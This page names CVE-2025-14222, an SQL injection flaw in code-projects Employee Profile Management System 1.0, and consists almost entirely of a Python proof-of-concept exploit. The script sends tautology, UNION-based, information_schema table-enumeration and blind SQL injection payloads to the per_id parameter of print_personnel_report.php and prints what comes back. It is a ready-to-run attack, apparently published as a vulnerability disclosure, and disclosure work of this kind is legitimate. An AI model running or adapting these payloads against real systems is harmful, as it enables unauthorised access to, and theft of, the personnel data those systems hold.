CVE-2025-14222 | code-projects Employee Profile Management System 1.0 SQL注入漏洞

import requests # CVE-2025-14222 PoC - SQL Injection in Employee Profile Management System # Target: /print_personnel_report.php # Parameter: per_id TARGET_URL = "http://target.com/print_personnel_report.php" def exploit_sql_injection(): """ SQL Injection PoC for CVE-2025-14222 This demonstrates extracting database version information """ # Basic injection to verify vulnerability payload_basic = "1' OR '1'='1" # Extract database version using UNION injection payload_union = "1' UNION SELECT NULL,NULL,version(),NULL,NULL-- -" # Extract current database name payload_dbname = "1' UNION SELECT NULL,NULL,database(),NULL,NULL-- -" # Extract all table names from information_schema payload_tables = "1' UNION SELECT NULL,GROUP_CONCAT(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" # Boolean-based blind injection for data extraction payload_blind = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" payloads = { 'basic_verification': payload_basic, 'db_version': payload_union, 'db_name': payload_dbname, 'table_enum': payload_tables, 'blind_test': payload_blind } print("[*] CVE-2025-14222 SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") for test_name, payload in payloads.items(): print(f"\n[+] Testing: {test_name}") print(f"[+] Payload: {payload}") try: data = {'per_id': payload} response = requests.post(TARGET_URL, data=data, timeout=10) if response.status_code == 200: print(f"[+] Response received, length: {len(response.text)}") # Check for SQL error indicators if 'mysql' in response.text.lower() or 'sql' in response.text.lower(): print("[!] SQL-related content detected in response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_sql_injection()